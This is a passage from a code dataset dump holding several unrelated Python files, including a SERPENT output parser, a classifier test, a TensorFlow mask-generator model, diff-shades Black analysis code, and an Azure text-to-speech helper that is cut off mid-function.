keffDict['keff'] = keffList\n keffDict['sd'] = sdList\n return keffDict\n\ndef keffLineParse(keffLine):\n \"\"\"\n Parses through the anaKeff line in .res file.\n @ In, keffLine, string, string from .res file listing IMPKEFF\n @ Out, keffTuple, list, (mean IMPKEFF, sd of IMPKEFF)\n \"\"\"\n newKeffLine = keffLine[keffLine.find('='):]\n start = newKeffLine.find('[')\n end = newKeffLine.find(']')\n keffSd = newKeffLine[start + 1:end].strip()\n keffTuple = keffSd.split()\n return keffTuple\n\ndef findDeptime(inputFile):\n \"\"\"\n Finds the deptime from the input file.\n @ In, inputFile, string, input file path\n @ Out, deptime, string, depletion time in days\n \"\"\"\n deptime = -1\n hit = False\n with open(inputFile, 'r') as file:\n for line in file:\n if hit:\n deptime = line.split(' ')[0]\n break\n if line.split()[0] == 'dep' and line.split()[1] != 'daystep':\n raise ValueError('Currently can only take daystep')\n else:\n hit = True\n return deptime\n\n\ndef makeCsv(csvFilename, inBumatDict, outBumatDict, keffDict, isoList, inputFile):\n \"\"\"\n Renders the csv as filename with the given bumat dict and keff dict.\n @ In, csvFilename, string, filename of csv output\n @ In, inBumatDict, dictionary, key=isotope\n value=atomic density\n @ In, outBumatDict, dictionary, key=isotope\n value=atomic density\n @ In, keffDict, dictionary, key='keff''sd'\n value=keff and sd\n @ In, isoList, list, list of isotopes to track\n @ In, inputFile, string, path to input file\n @ Out, None\n \"\"\"\n\n # parse through, get keff value\n bocKeff = keffDict['keff'][0]\n eocKeff = keffDict['keff'][1]\n deptime = findDeptime(inputFile)\n\n with open(csvFilename, 'w') as csvFile:\n writer = csv.writer(csvFile)\n # fresh isoList\n headerList = (['f'+iso for iso in isoList] +\n ['bocKeff', 'eocKeff', 'deptime'] +\n ['d'+iso for iso in isoList])\n writer.writerow(headerList)\n # initialize as zero\n freshAdensList = [0] * len(isoList)\n depAdensList = [0] * len(isoList)\n for key in inBumatDict:\n if key in isoList:\n index = isoList.index(key)\n freshAdensList[index] = inBumatDict[key]\n for key in outBumatDict:\n if key in isoList:\n index = isoList.index(key)\n depAdensList[index] = outBumatDict[key]\n\n row = freshAdensList + [bocKeff, eocKeff, deptime] + depAdensList\n # add keff value to adens list, like header\n writer.writerow(row)\n","repo_name":"idaholab/raven","sub_path":"ravenframework/CodeInterfaceClasses/SERPENT/serpentOutputParser.py","file_name":"serpentOutputParser.py","file_ext":"py","file_size_in_byte":5836,"program_lang":"python","lang":"en","doc_type":"code","stars":195,"dataset":"github-code","pt":"38"} +{"seq_id":"40870050614","text":"from collections import namedtuple\nfrom datetime import date\nfrom itertools import chain\nfrom unittest import TestCase\n\nimport pandas as pd\n\nfrom rosie.chamber_of_deputies.classifiers import IrregularCompaniesClassifier\n\n\nStatus = namedtuple('Status', ('situation_date', 'issue_date', 'expected'))\n\n\nclass TestIrregularCompaniesClassifier(TestCase):\n\n SUSPICIOUS_SITUATIONS = (\n 'BAIXADA',\n 'NULA',\n 'INAPTA',\n 'SUSPENSA',\n )\n\n SITUATIONS = chain(SUSPICIOUS_SITUATIONS, ('ABERTA',))\n\n STATUS = (\n Status(date(2013, 1, 30), date(2013, 1, 1), False),\n Status(date(2013, 1, 1), date(2013, 1, 30), True)\n )\n\n def setUp(self):\n self.subject = IrregularCompaniesClassifier()\n\n def _get_company_dataset(self, **kwargs):\n base_company = {\n 'recipient_id': '02989654001197',\n 'situation_date': date(2013, 1, 3),\n 'issue_date': date(2013, 1, 30),\n 'situation': '',\n }\n base_company.update(kwargs)\n dataset = pd.DataFrame([base_company])\n return dataset\n\n def test_is_regular_company(self):\n for situation in self.SITUATIONS:\n company = self._get_company_dataset(situation=situation)\n expected = situation in self.SUSPICIOUS_SITUATIONS\n result, *_ = self.subject.predict(company)\n with self.subTest():\n self.assertEqual(result, expected, msg=company)\n\n def test_if_company_is_suspended(self):\n for status in self.STATUS:\n company = self._get_company_dataset(\n situation='SUSPENSA',\n situation_date=status.situation_date,\n issue_date=status.issue_date,\n )\n result, *_ = self.subject.predict(company)\n with self.subTest():\n self.assertEqual(result, status.expected, msg=company)\n","repo_name":"okfn-brasil/serenata-de-amor","sub_path":"rosie/rosie/chamber_of_deputies/tests/test_irregular_companies_classifier.py","file_name":"test_irregular_companies_classifier.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":4484,"dataset":"github-code","pt":"38"} +{"seq_id":"3349588833","text":"import sys\nsys.path.append('D:\\\\These Clément\\\\these\\\\python_clément')\nsys.path.append('/home/pellet-mary/these/python_clément')\nfrom analyse import *\n\nplt.figure(num=1,figsize=(4.5,3),dpi=80)\nplt.xticks(fontsize=16)\nplt.yticks(fontsize=16)\nplt.locator_params(axis='x', nbins=5)\nplt.locator_params(axis='y', nbins=5)\n\nx,y=extract_data('ESR 1 raie')\n\nplt.plot(x,y,'x')\ncs=[2726,2728,2730]\n# popt,yfit=ESR_fixed_amp_and_width(x,y,cs,typ='lor')\npopt,yfit=ESR_n_pics(x,y,cs,width=0.5,typ='lor')\nprint('T2*=%f'%(1/(2*pi*sum(popt[2])/3)))\nplt.plot(x,yfit,lw=2)#,label='FWHM=%.3f'%(2*popt[2]))\nprint(popt)\n# plt.legend()\nplt.show()","repo_name":"cpelletm/these","sub_path":"data/20220818/rose/traitement.py","file_name":"traitement.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"7188765059","text":"import tensorflow as tf\nimport tensorflow.keras as keras\nimport numpy as np\nimport cv2\nfrom scipy.ndimage import gaussian_filter\nimport tensorflow_addons as tfa\n\nfrom metrics import tf_pearson_corr\ntf.compat.v1.enable_eager_execution()\n\n# class BlobRegularizer(keras.regularizers.Regularizer):\n \n# def __init__(self, l1=0.0,l2=0.0,blob=0.0,kernel=3):\n# self.l1 = l1\n# self.l2 = l2\n# self.blob = blob\n# self.kernel = kernel\n\n# def __call__(self, x):\n# x = tf.cast(x,dtype=tf.float32)\n# x = tf.round(x)\n# blob_mask = -tf.nn.max_pool3d(-x, ksize=[self.kernel,self.kernel,1], strides=1,padding=\"SAME\", name='erosion3D')\n# blob_mask = tf.nn.max_pool3d(blob_mask, ksize=[self.kernel,self.kernel,1], strides=1, padding=\"SAME\", name='dilation3D')\n# blob_loss = tf.reduce_sum(tf.maximum((x-blob_mask),tf.zeros_like(x)))\n# # blob_loss = tf.reduce_sum(tf.abs((x-blob_mask)))\n# l1 = tf.reduce_sum(tf.abs(x))\n# l2 = tf.reduce_sum(tf.square(x))\n# return self.blob * blob_loss + self.l1*l1 + self.l2*l2\n \n # def get_config(self):\n # return {'l1': self.l1,'kernel':self.kernel,'blob':self.blob,'l2':self.l2}\n\nclass MaskGenerator(keras.Model):\n def __init__(self, patch_size, adaptor, unet, weighted_pcc,pcc_target=0.9, **kwargs):\n super(MaskGenerator, self).__init__(**kwargs)\n\n self.weighted_pcc = weighted_pcc\n self.pcc_target = pcc_target\n self.unet = unet\n \n image_input = keras.layers.Input(shape=patch_size,dtype=tf.float32)\n target_input = keras.layers.Input(shape=patch_size,dtype=tf.float32)\n processed_target = keras.layers.Conv3D(filters=32,kernel_size=3,padding=\"same\",activation=\"relu\")(target_input)\n processed_image = keras.layers.Conv3D(filters=32,kernel_size=3,padding=\"same\",activation=\"relu\")(image_input)\n processed_input = keras.layers.Concatenate(axis=-1)([processed_image,processed_target])\n # processed_input = processed_image\n mask = tf.cast(adaptor(processed_input),dtype=tf.float64)\n # mask = -tf.nn.max_pool3d(-mask, ksize=3, strides=1,padding=\"SAME\", name='erosion3D')\n # mask = tf.nn.max_pool3d(mask, ksize=3, strides=1, padding=\"SAME\", name='dilation3D')\n # mask = tf.cast(mask,dtype=tf.float64)\n self.generator = keras.Model([image_input,target_input],mask,name=\"generator\")\n # self.generator = keras.Model(image_input,mask,name=\"generator\")\n \n self.unet_loss_tracker = keras.metrics.Mean(\n name=\"unet_loss\"\n )\n \n self.blob_ratio = keras.metrics.BinaryAccuracy(\n name=\"blob_ratio\"\n )\n \n self.mask_ratio = keras.metrics.Mean(\n name=\"mask_ratio\"\n )\n \n self.mask_size = keras.metrics.Mean(\n name=\"mask_size\"\n )\n \n self.total_loss_tracker = keras.metrics.Mean(name = \"total\")\n \n self.pcc = keras.metrics.Mean(name = \"pcc\")\n \n self.stop = keras.metrics.Mean(name = \"stop\")\n \n\n \n def compile(self, g_optimizer, unet_loss_weight=1. ,mask_loss_weight=0.01,mask_size_loss_weight=0.002,run_eagerly=False, noise_scale=5.0):\n super(MaskGenerator, self).compile(run_eagerly=run_eagerly)\n self.g_optimizer = g_optimizer\n self.unet_loss_weight = unet_loss_weight\n self.mask_loss_weight = mask_loss_weight\n self.mask_size_loss_weight = mask_size_loss_weight\n self.noise_scale = noise_scale\n \n @property\n def metrics(self):\n return [\n self.unet_loss_tracker,\n self.total_loss_tracker,\n self.blob_ratio,\n self.mask_ratio,\n self.pcc,\n self.stop,\n self.mask_size\n ]\n\n def train_step(self, data, train=True):\n data_0 = tf.cast(data[0],dtype=tf.float64)\n data_1 = tf.cast(data[1],dtype=tf.float64)\n \n unet_target = self.unet(data_0)\n \n # Train generator to fool discriminator_image and create target\n \n with tf.GradientTape() as tape:\n mask = self.generator([data_0,unet_target])\n # mask = tf.cast(tf.where(mask>0.5,1.0,mask),dtype=tf.float64)\n # mask = self.generator(data_0)\n \n # mask_rounded_NOT_differentiable = tf.cast(tf.where(mask>0.5,1.0,0.0),dtype=tf.float64)#tf.round(mask)\n # mask = mask - tf.stop_gradient(mask - mask_rounded_NOT_differentiable)\n \n \n # # Creating kernel\n # kernel = 3\n \n # # Using opening method , ToDo: check if works on 3d\n # blob_mask = -tf.nn.max_pool3d(-tf.cast(mask,dtype=tf.float32), ksize=kernel, strides=1,padding=\"SAME\", name='erosion3D')\n # blob_mask = tf.nn.max_pool3d(blob_mask, ksize=kernel, strides=1, padding=\"SAME\", name='dilation3D')\n # blob_mask = tf.cast(blob_mask,dtype=tf.float64)\n # blur_image = tfa.image.gaussian_filter2d(data_0[:,:,:,:,0],[3,3],3,\"CONSTANT\",0)\n # blur_image = tf.expand_dims(blur_image,axis=-1)\n \n # adapted_image = tf.where(mask>0,data_0,blur_image)\n # adapted_image = mask*data_0#+(1-blob_mask)*blur_image\n \n normal_noise = tf.random.normal(tf.shape(mask),stddev=self.noise_scale,dtype=tf.float64) \n # normal_noise = tf.random.uniform(tf.shape(mask),maxval=self.noise_scale,dtype=tf.float64) \n adapted_image = (mask*data_0)+(normal_noise*(1-mask))\n # inv_adapted_image = (normal_noise*data_0)+(data_0*(1-mask))\n \n unet_predictions = self.unet(adapted_image)\n # inv_unet_predictions = self.unet(inv_adapted_image)\n \n # adapted_image_binary = (mask_binary*data_0)+(normal_noise*(1-mask_binary))\n \n # unet_predictions_binary = self.unet(adapted_image_binary)\n \n # unet_loss = keras.losses.mean_squared_error(unet_target, unet_predictions) \n unet_loss = tf.reduce_mean(\n tf.reduce_sum(\n keras.losses.mean_squared_error(unet_target, unet_predictions),axis=(1,2)\n ),axis=(0,1)\n )\n\n # blob_loss = tf.reduce_sum(tf.maximum((mask-blob_mask),tf.zeros_like(mask)))\n # # blob_loss = tf.reduce_sum(tf.abs((x-blob_mask)))\n # l1 = tf.reduce_mean(tf.abs(blob_mask))\n # l2 = tf.reduce_mean(tf.square(blob_mask)) \n \n mean_mask = tf.reduce_mean((mask)) #tf.math.log\n # mask_size = tf.reduce_mean(mask_binary)\n \n # mask_size_loss = tf.reduce_mean(\n # tf.reduce_sum(\n # keras.losses.mean_squared_error(tf.zeros_like(mask), mask_binary),axis=(1,2)\n # ),axis=(0,1)\n # )\n mask_loss = tf.reduce_mean(\n tf.reduce_sum(\n keras.losses.mean_squared_error(tf.zeros_like(mask), mask),axis=(1,2)\n ),axis=(0,1)\n )\n \n # blob_mask_loss = tf.reduce_mean(\n # tf.reduce_sum(\n # keras.losses.mean_squared_error(tf.zeros_like(blob_mask), blob_mask),axis=(1,2)\n # ),axis=(0,1)\n # )\n \n if self.weighted_pcc:\n pcc_loss = tf.clip_by_value((tf_pearson_corr(unet_target,unet_predictions,data_1)),-1.0,self.pcc_target)\n else:\n pcc_loss = tf.clip_by_value((tf_pearson_corr(unet_target,unet_predictions)),-1.0,self.pcc_target)\n # inv_pcc_loss = tf.math.abs(tf_pearson_corr(unet_target,inv_unet_predictions))\n \n # total_loss = 0.1*unet_loss + (mask_loss)*self.mask_loss_weight + (self.pcc_target-pcc_loss)*1000 #+ inv_pcc_loss*1000 #+ mask_size_loss*self.mask_size_loss_weight\n total_loss = (1-self.mask_loss_weight)*unet_loss + (mask_loss)*self.mask_loss_weight + (self.pcc_target-pcc_loss)*1000 #+ inv_pcc_loss*1000 #+ mask_size_loss*self.mask_size_loss_weight\n\n\n if (train):\n grads = tape.gradient(total_loss, self.generator.trainable_weights)\n self.g_optimizer.apply_gradients(zip(grads, self.generator.trainable_weights)) \n \n self.mask_ratio.update_state((1-mean_mask)) #tf.reduce_sum(mask)\n self.unet_loss_tracker.update_state(unet_loss) \n self.blob_ratio.update_state(tf.zeros_like(mask), mask)\n self.pcc.update_state(pcc_loss)\n self.total_loss_tracker.update_state(total_loss)\n # self.mask_size.update_state(inv_pcc_loss)\n self.stop.update_state(self.pcc_target-pcc_loss + mean_mask)\n \n \n return {\n \"unet\": self.unet_loss_tracker.result(),\n \"binary_ratio\": self.blob_ratio.result(),\n \"mask_ratio\": self.mask_ratio.result(),\n \"total loss\":self.total_loss_tracker.result(),\n # \"inv_pcc\": self.mask_size.result(),\n \"pcc\":self.pcc.result(),\n \"stop\": self.stop.result()\n }\n \n def test_step(self, data):\n return self.train_step(data,False) \n \n def call(self,input):\n original_unet = self.unet(input)\n return self.generator([input,original_unet])\n # return self.generator(input)","repo_name":"lionben89/cell_generator","sub_path":"models/MaskGenerator.py","file_name":"MaskGenerator.py","file_ext":"py","file_size_in_byte":9448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"19925029950","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 30 23:09:18 2020\n\n@author: arky\n\"\"\"\nimport Lensflare, Ogre\n\nclass NightSky:\n def __init__(self,scn_mgr,moonpos,cam):\n #skybox and distance of the skybox\n #scn_mgr.setSkyDome(True,\"Skyes/Night1\",50,5)\n scn_mgr.setSkyBox(True,\"Skyes/NightSkyBox\",100)\n #scn_mgr.setSkyDome(True,\"Examples/SpaceSkyPlane\",5,8)\n\n #lets set a fog\n #Fadecolor=Ogre.ColourValue(0,0,0)\n #vp.setBackgroundColour(Fadecolor)\n #scn_mgr.setFog(Ogre.Ogre.FOG_LINEAR,Fadecolor,0,600,900)\n\n scn_mgr.setAmbientLight(Ogre.ColourValue(.1, .1, .1))\n \n dirlight=scn_mgr.createLight(\"MoonLight1\")\n dirlight.setType(Ogre.Light.LT_DIRECTIONAL);\n dirlight.setDiffuseColour(Ogre.ColourValue(0, .1, .7));\n dirlight.setSpecularColour(Ogre.ColourValue(0, 0, .5))\n #dirlight.setDirection(-0.5, -0.5, -0.3)\n dirlight.setDirection(moonpos*-1)\n \n moon= scn_mgr.createBillboardSet(\"Moon\")\n moon.setMaterialName(\"Skyes/Moon\")\n moon.setDefaultDimensions(2000,2000)\n #self.mBurstSet.setCullIndividually(True)\n #self.mBurstSet.setQueryFlags(0)\n moonNode = scn_mgr.getRootSceneNode().createChildSceneNode()\n moonboard = moon.createBillboard(moonpos)\n #moonboard.setDimensions(1,1)\n\n moonNode.attachObject(moon)\n moonNode.setPosition(0, 1, 1)\n #lens flare\n self.lensflare = Lensflare.LensFlare(moonpos,cam, scn_mgr)\n \n def update(self):\n self.lensflare.update()\n ","repo_name":"Arkhan2020/Game","sub_path":"Skyefect.py","file_name":"Skyefect.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"17276883602","text":"# ================================\n# > Formatting results collection\n# =============================\n\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport traceback\nfrom contextlib import contextmanager, redirect_stderr, redirect_stdout\nfrom dataclasses import replace\nfrom functools import lru_cache, partial\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Any, Dict, Iterator, List, Optional, Sequence, Tuple\n\nif sys.version_info >= (3, 8):\n from typing import Final, Literal\nelse:\n from typing_extensions import Final, Literal\n\nif TYPE_CHECKING:\n import black\n\nimport rich\nimport rich.progress\n\nfrom diff_shades.config import Project\nfrom diff_shades.results import (\n FailedResult,\n FileResult,\n NothingChangedResult,\n ProjectResults,\n ReformattedResult,\n)\n\nGIT_BIN: Final = shutil.which(\"git\")\nRESULT_COLORS: Final = {\"reformatted\": \"cyan\", \"nothing-changed\": \"magenta\", \"failed\": \"red\"}\nrun_cmd: Final = partial(\n subprocess.run,\n check=True,\n encoding=\"utf8\",\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n)\nconsole: Final = rich.get_console()\n\n\n# =====================\n# > Setup and analysis\n# ==================\n\n\ndef clone_repo(url: str, *, to: Path, sha: Optional[str] = None) -> None:\n assert GIT_BIN\n if sha:\n if not to.exists():\n to.mkdir()\n run_cmd([GIT_BIN, \"init\"], cwd=to)\n run_cmd([GIT_BIN, \"fetch\", url, sha], cwd=to)\n run_cmd([GIT_BIN, \"checkout\", sha], cwd=to)\n else:\n run_cmd([GIT_BIN, \"clone\", url, \"--depth\", \"1\", str(to)])\n\n\nCommitMsg = str\nCommitSHA = str\nPreparedProject = Tuple[Project, List[Path], \"black.Mode\"]\n\n\ndef get_commit(repo: Path) -> Tuple[CommitSHA, CommitMsg]:\n assert GIT_BIN\n proc = run_cmd([GIT_BIN, \"log\", \"--format=%H:%s\", \"-n1\"], cwd=repo)\n output = proc.stdout.strip()\n sha, _, msg = output.partition(\":\")\n return sha, msg\n\n\ndef setup_projects(\n projects: List[Project],\n workdir: Path,\n force_style: Optional[Literal[\"stable\", \"preview\"]],\n extra_args: Sequence[str],\n progress: rich.progress.Progress,\n task: rich.progress.TaskID,\n verbose: bool,\n) -> List[PreparedProject]:\n console = progress.console\n bold = \"[bold]\" if verbose else \"\"\n ready = []\n for proj in projects:\n target = Path(workdir, proj.name)\n can_reuse = False\n if target.exists():\n if proj.commit is None:\n can_reuse = True\n else:\n sha, _ = get_commit(target)\n can_reuse = proj.commit == sha\n\n if can_reuse:\n if verbose:\n console.log(f\"{bold}Using pre-existing clone of {proj.name} - {proj.url}\")\n else:\n clone_repo(proj.url, to=target, sha=proj.commit)\n console.log(f\"{bold}Cloned {proj.name} - {proj.url}\")\n\n commit_sha, commit_msg = get_commit(target)\n if verbose:\n console.log(f\"[dim] commit -> {commit_msg}\", highlight=False)\n console.log(f\"[dim] commit -> {commit_sha}\")\n proj = replace(proj, commit=commit_sha)\n files, mode = get_files_and_mode(proj, target, force_style, extra_args)\n ready.append((proj, files, mode))\n progress.advance(task)\n progress.refresh()\n\n return ready\n\n\n@contextmanager\ndef suppress_output() -> Iterator:\n from unittest.mock import patch\n\n with open(os.devnull, \"w\", encoding=\"utf-8\") as blackhole:\n with redirect_stdout(blackhole), redirect_stderr(blackhole):\n # It shouldn't be necessary to also patch click.echo but I've\n # received reports of the stream redirections not working :shrug:\n with patch(\"click.echo\", new=lambda *args, **kwargs: None):\n yield\n\n\n@lru_cache(maxsize=1)\ndef _find_black_reformat_many() -> str:\n # NOTE: this only exists because mypyc puts imports in the global module scope even if\n # the import is within a function, so after the first run of Black, `black.reformat_many`\n # will exist even if it doesn't in the source ... >.<\n import black\n\n if hasattr(black, \"reformat_many\"):\n return \"black.reformat_many\"\n else:\n import black.concurrency\n\n assert hasattr(black.concurrency, \"reformat_many\")\n return \"black.concurrency.reformat_many\"\n\n\ndef get_files_and_mode(\n project: Project,\n path: Path,\n force_style: Optional[Literal[\"stable\", \"preview\"]] = None,\n extra_args: Sequence[str] = (),\n) -> Tuple[List[Path], \"black.Mode\"]:\n # HACK: I know this is hacky but the benefit is I don't need to copy and\n # paste a bunch of black's argument parsing, file discovery, and\n # configuration code. I also get to keep the pretty output since I can\n # directly invoke black.format_file_contents :D\n #\n # This pulls in a ton of stuff including the heavy asyncio. Let's avoid the\n # import cost unless till the last possible moment.\n from unittest.mock import patch\n\n import black\n\n files: List[Path] = []\n mode = None\n\n def many_shim(sources: List[Path], *args: Any, **kwargs: Any) -> None:\n nonlocal files, mode\n files.extend(sources)\n mode = kwargs[\"mode\"]\n\n def single_shim(src: Path, *args: Any, **kwargs: Any) -> None:\n nonlocal files, mode\n files = [src]\n mode = kwargs[\"mode\"]\n\n many_target = _find_black_reformat_many()\n # I really should implement better context manager handling in black ...\n with suppress_output(), patch(many_target, new=many_shim), patch(\n \"black.reformat_one\", new=single_shim\n ):\n cmd = [\n str(path),\n *project.custom_arguments,\n *extra_args,\n \"--check\",\n # Override the required black version, since we need to run diff-shades\n # with any future black versions.\n \"--required-version=\",\n ]\n black.main(cmd, standalone_mode=False)\n\n assert files and isinstance(mode, black.FileMode), (files, mode)\n if force_style:\n with suppress_output():\n mode = replace(mode, preview=(force_style == \"preview\"))\n\n return sorted(p for p in files if p.suffix in (\".py\", \".pyi\")), mode\n\n\ndef check_file(path: Path, *, mode: Optional[\"black.Mode\"] = None) -> FileResult:\n \"\"\"\n Format file at `path` and return the result.\n \"\"\"\n import black\n\n mode = mode or black.FileMode()\n if path.suffix == \".pyi\":\n with suppress_output():\n mode = replace(mode, is_pyi=True)\n\n src = path.read_text(\"utf8\")\n try:\n with suppress_output():\n dst = black.format_file_contents(src, fast=False, mode=mode)\n except black.NothingChanged:\n return NothingChangedResult(src)\n\n except Exception as err:\n msg = str(err)\n tb = \"\".join(traceback.format_exception(None, err, err.__traceback__)).strip()\n # If this error contains a log file, let's record it!\n if \"helpful: \" in msg:\n _, file_path = msg.split(\"helpful: \")\n log_path = Path(file_path)\n if log_path.name.startswith(\"blk\") and log_path.suffix == \".log\":\n log = log_path.read_text(\"utf-8\")\n # The log files have randomized names and we need to get rid of this so\n # identical runs record the same error messages.\n msg = msg.replace(str(log_path), \"(use diff-shades show or show-failed)\")\n else:\n log = None\n\n return FailedResult(src, err.__class__.__name__, msg, log=log, traceback=tb)\n\n return ReformattedResult(src, dst)\n\n\ndef check_file_shim(arguments: Tuple[Path, Path, \"black.Mode\"]) -> Tuple[str, FileResult]:\n # Unfortunately there's nothing like imap + starmap in multiprocessing.\n file, project_path, mode = arguments\n result = check_file(file, mode=mode)\n normalized_path = file.relative_to(project_path).as_posix()\n return (normalized_path, result)\n\n\ndef analyze_projects(\n projects: List[PreparedProject],\n work_dir: Path,\n progress: rich.progress.Progress,\n task: rich.progress.TaskID,\n verbose: bool,\n) -> Dict[str, ProjectResults]:\n # Slow import, let's not pay all of the time (this makes show and friends faster).\n import multiprocessing\n\n # For consistency w/ Windows so things don't unintentionally work only on Linux.\n mp = multiprocessing.get_context(\"spawn\")\n\n file_count = sum(len(files) for _, files, _ in projects)\n progress.update(task, total=file_count)\n bold = \"[bold]\" if verbose else \"\"\n\n def check_project_files(\n files: List[Path], project_path: Path, mode: \"black.Mode\"\n ) -> ProjectResults:\n file_results = {}\n data_packets = [(file_path, project_path, mode) for file_path in files]\n for filepath, result in pool.imap(check_file_shim, data_packets):\n if verbose:\n console.log(f\" {filepath}: [{result.type}]{result.type}\")\n file_results[filepath] = result\n progress.advance(task)\n progress.advance(project_task)\n return ProjectResults(file_results)\n\n # Sadly the Pool context manager API doesn't play nice with pytest-cov so\n # we have to use this uglier alternative ...\n # https://pytest-cov.readthedocs.io/en/latest/subprocess-support.html#if-you-use-multiprocessing-pool\n pool = mp.Pool()\n try:\n results = {}\n for project, files, mode in projects:\n project_task = progress.add_task(f\"[bold]╰─> {project.name}\", total=len(files))\n if verbose:\n console.log(f\"[bold]Checking {project.name} ({len(files)} files)\")\n results[project.name] = check_project_files(files, work_dir / project.name, mode)\n overall_result = results[project.name].overall_result\n console.log(f\"{bold}{project.name} finished as [{overall_result}]{overall_result}\")\n progress.remove_task(project_task)\n finally:\n pool.close()\n pool.join()\n\n return results\n","repo_name":"ichard26/diff-shades","sub_path":"src/diff_shades/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":10018,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"38"} +{"seq_id":"24250574165","text":"from db.client import MongoDBClient\nfrom bson import ObjectId\n\n'''\nNeed to complete it.\n'''\nclass ExpensesFunctions:\n __expenses_db=MongoDBClient.expenses\n\n def add_expenses(self, name, amount, type, month, year):\n estimate ={\n \"NAME\": name,\n \"TYPE\": type,\n \"AMOUNT\": amount,\n \"MONTH\": month,\n \"YEAR\": year,\n }\n results=self.__expenses_db.insert_one(estimate)\n print(\"Fixed expenses Insert Acknowledged: \",results.acknowledged)\n print(\"Fixed expenses Insert ID: \",results.inserted_id)\n\n def delete_expenses(self, month, year):\n result=self.__expenses_db.delete_many({\"MONTH\": month, \"YEAR\":year})\n print(\"Fixed expenses Deleted: \",result.acknowledged)\n print(\"Fixed expenses delete count: \",result.deleted_count)\n\n def get_expenses(self, month=None, year=None) -> list:\n search_filters={}\n if month is not None:\n search_filters['MONTH']=month\n if year is not None:\n search_filters['YEAR']=year\n result = self.__expenses_db.find(search_filters)\n expenses=[]\n for item in result:\n expense={\n \"name\": item[\"NAME\"],\n \"type\": item[\"TYPE\"],\n \"amount\": item[\"AMOUNT\"],\n \"month\": item['MONTH'],\n \"year\": item[\"YEAR\"],\n \"id\": str(item[\"_id\"])\n }\n expenses.append(expense)\n return expenses","repo_name":"Projit32/Roopvilla-Project-Flask","sub_path":"db/expenses.py","file_name":"expenses.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72460518830","text":"import networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\ndef draw_donation_cycle_graph(cycles, weights):\r\n for cycle in cycles:\r\n donation_edges = []\r\n donneurs = [cycle[i] for i in range(len(cycle)) if i % 2 == 0]\r\n patients = [cycle[i] for i in range(len(cycle)) if i % 2 == 1]\r\n\r\n donneurs_set = set(donneurs)\r\n patients_set = set(patients)\r\n\r\n G = nx.DiGraph()\r\n\r\n for donneur in donneurs_set:\r\n G.add_node(\"D{}\".format(donneur[1:]), color='red')\r\n\r\n for patient in patients_set:\r\n G.add_node(\"P{}\".format(patient[1:]), color='green')\r\n\r\n for i in range(len(donneurs) - 1):\r\n donneur = donneurs[i]\r\n patient = patients[i]\r\n weight = weights[int(donneur[1:]), int(patient[1:])]\r\n donation_edges.append((\"D{}\".format(donneur[1:]), \"P{}\".format(patient[1:]), weight))\r\n donation_edges.append((\"P{}\".format(patient[1:]), \"D{}\".format(patient[1:]), 0))\r\n\r\n G.add_weighted_edges_from(donation_edges)\r\n\r\n edge_labels = nx.get_edge_attributes(G, 'weight')\r\n node_colors = [G.nodes[node]['color'] for node in G.nodes]\r\n\r\n pos = nx.spring_layout(G)\r\n nx.draw_networkx_nodes(G, pos, node_color=node_colors, node_size=500)\r\n nx.draw_networkx_edges(G, pos, width=2.0, arrowstyle='->', arrowsize=10)\r\n nx.draw_networkx_labels(G, pos)\r\n nx.draw_networkx_edge_labels(G, pos, edge_labels=edge_labels, font_size=12)\r\n\r\n plt.title(\"Cycle {}\".format(cycle))\r\n plt.axis('off')\r\n plt.show()","repo_name":"Vertu5/combinatorial-optimization-of-kidney-transplants","sub_path":"draw_donation_cycle.py","file_name":"draw_donation_cycle.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"41144368586","text":"\nimport os\nimport base64\nfrom random import sample\nimport random\nimport azure.cognitiveservices.speech as speechsdk\nfrom fastapi import HTTPException\nimport requests\n\nSUBSCRIPTION_KEY = os.environ.get(\"SUBSCRIPTION_KEY\")\nSPEECH_REGION = os.environ.get(\"REGION\")\nVOICE_NAME = os.environ.get(\"VOICE_NAME\")\n\n\ndef save_audio(text):\n speech_config = speechsdk.SpeechConfig(\n subscription=SUBSCRIPTION_KEY, region=SPEECH_REGION)\n filename = f'az_axxa{random.randint(0,1000)}.wav'\n audio_config = speechsdk.audio.AudioOutputConfig(\n filename=filename)\n\n # The language of the voice that speaks.\n speech_config.speech_synthesis_voice_name = VOICE_NAME\n speech_synthesizer = speechsdk.SpeechSynthesizer(\n speech_config=speech_config, audio_config=audio_config)\n\n print(filename)\n speech_synthesis_result = speech_synthesizer.speak_text_async(\n text).get()\n\n if speech_synthesis_result.reason == speechsdk.ResultReason.SynthesizingAudioCompleted:\n print(\"Speech synthesized for text [{}]\".format(text))\n elif speech_synthesis_result.reason == speechsdk.ResultReason.Canceled:\n cancellation_details = speech_synthesis_result.cancellation_details\n print(\"Speech synthesis canceled: {}\".format(\n cancellation_details.reason))\n if cancellation_details.reason == speechsdk.CancellationReason.Error:\n if cancellation_details.error_details:\n print(\"Error details: {}\".format(\n cancellation_details.error_details))\n print(\"Did you set the speech resource key and region values?\")\n return filename\n\n\ndef get_azure_token():\n url = 'https://swedencentral.api.cognitive.microsoft.com/sts/v1.0/issuetoken'\n headers = {\n 'Ocp-Apim-Subscription-Key': SUBSCRIPTION_KEY,\n 'Content-Type': 'text/plain; charset=utf-8',\n 'Accept': 'text/html: application/xhtml+xml, */*',\n }\n try:\n print('Azure token created!')\n return requests.post(url, headers=headers).text\n except Exception as e:\n print(f\"An error occurred while creating the azure token: {e}\")\n return HTTPException(status_code=400, detail='Credentials could not be 